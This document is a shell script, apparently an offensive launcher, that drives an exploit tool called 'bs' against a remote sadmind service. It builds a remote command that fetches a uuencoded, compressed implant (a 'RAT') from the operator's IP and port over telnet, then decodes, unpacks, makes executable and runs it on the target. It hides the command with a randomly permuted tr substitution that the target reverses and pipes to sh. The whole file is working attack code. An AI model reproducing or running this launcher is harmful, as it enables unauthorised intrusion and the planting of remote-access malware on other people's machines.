#!/bin/sh
PROG=`basename ${0}`
ERRSLEEP=3

  usage()
    {
     echo "
Usage:
       [E=ratpreargs] [A=ratpostargs] $PROG remoteIP remoteHost \\
       [remoteDomain] \\
       sadmindPort remoteDir remoteName localIP localPort
 
       ratpreargs  : the string put on remote command line right after PATH=. and 
                      before remoteName (e.g. E='D=\"-c LOCALIP port\"' or
                     E='D=\"-l listenport\"')
 
       ratpostargs : the string put on remote command line after running remoteName

       Command sent to bs will be munged from:

CMD=\"mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR} && telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${REMOTE_FNAME}\${RAT_POSTARGS}\"

"
    exit 1
    }
echo "
CommandLine: ${0} ${*}"
while getopts h op; do
    case $op in
    E)  RAT_PREARGS=" $OPTARG";;
    A)  RAT_POSTARGS=" $OPTARG";;
    h)  usage
    esac
done

[ "$E" ] && RAT_PREARGS=" $E" && echo "RAT_PREARGS=$RAT_PREARGS"
[ "$A" ] && RAT_POSTARGS=" $A" && echo "RAT_POSTARGS=$RAT_POSTARGS"


REMOTE_IP="-i ${1}"
REMOTE_HOST="-h ${2}"

case ${#} in
  7)
    SADMIND_PORT="-p ${3}"
    REMOTE_DIR="${4}"
    REMOTE_FNAME="${5}"
    LOCAL_IP="${6}"
    LOCAL_PORT="${7}"
    ;;
  8)
    REMOTE_DOMAIN="-d ${3}"
    SADMIND_PORT="-p ${4}"
    REMOTE_DIR="${5}"
    REMOTE_FNAME="${6}"
    LOCAL_IP="${7}"
    LOCAL_PORT="${8}"
    ;;
  *)
    echo "
Wrong number of arguments: ${#} (should be 7 or 8)."
    sleep $ERRSLEEP
    usage
    ;;
esac
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote hostname" && usage
[ -z "$SADMIND_PORT" ] && echo "Error: missing remote hostname" && usage
[ -z "$REMOTE_DIR" ] && echo "Error: missing remote directory" && usage
[ -z "$REMOTE_FNAME" ] && echo "Error: missing remote filename" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
[ -z "$LOCAL_PORT" ] && echo "Error: missing local port" && usage

if [ "`echo $REMOTE_DIR | cut -c1`" != "/" ]; then
    echo "
REMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order."
    sleep $ERRSLEEP
    usage

fi



# this one has more spaces...don't use unless other fails...
CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f ${REMOTE_FNAME}.Z && chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}"

CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}</dev/console|uudecode>/dev/null 2>&1&&uncompress -f ${REMOTE_FNAME}.Z&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}"


# tr sets
#SET1="'0-}'"
#SET2="'1-~'"
ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <>&"
THERE=`which permute 2>/dev/null`
if [ ! "$THERE"  ] ; then
  if [ -x "../bin/permute" ] ; then
    export PATH=../bin:$PATH
  else
    echo "FATAL ERROR: No \"permute\" in path."
    exit
  fi
fi
SET1=`permute "$ALPHA"`
SET2=`permute "$SET1"`
MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`"
UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`"
echo "
munging via:
tr \"$SET1\" \"$SET2\"
and vice versa.

  MUNGED=\"$MUNGED\"

UNMUNGED=\"$UNMUNGED\"
"

if [ "$SET1" = "$SET2" ] ; then
  echo "FATAL ERROR. SET1 is the same as SET2."
  echo "SET1=\"$SET1\""
  exit
fi
if [ ! "$UNMUNGED" = "$CMD" ] ; then
  echo "FATAL ERROR. UNMUNGE TEST FAILED"
  echo "$UNMUNGED" > /tmp/UNMUNGED.$$
  echo "$CMD" > /tmp/CMD.$$
  cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$
  wc /tmp/UNMUNGED.$$ /tmp/CMD.$$
  exit
else
  echo "PASSSED TEST: \$CMD eq \$UNMUNGED.
"
fi

echo "Running:
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
  -c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"
"

#[ "$PAUSE" ] && echo "Hit ^C to abort or enter to continue" && read blah
echo "Hit ^C to abort or enter to continue" && read blah

bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
  -c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh"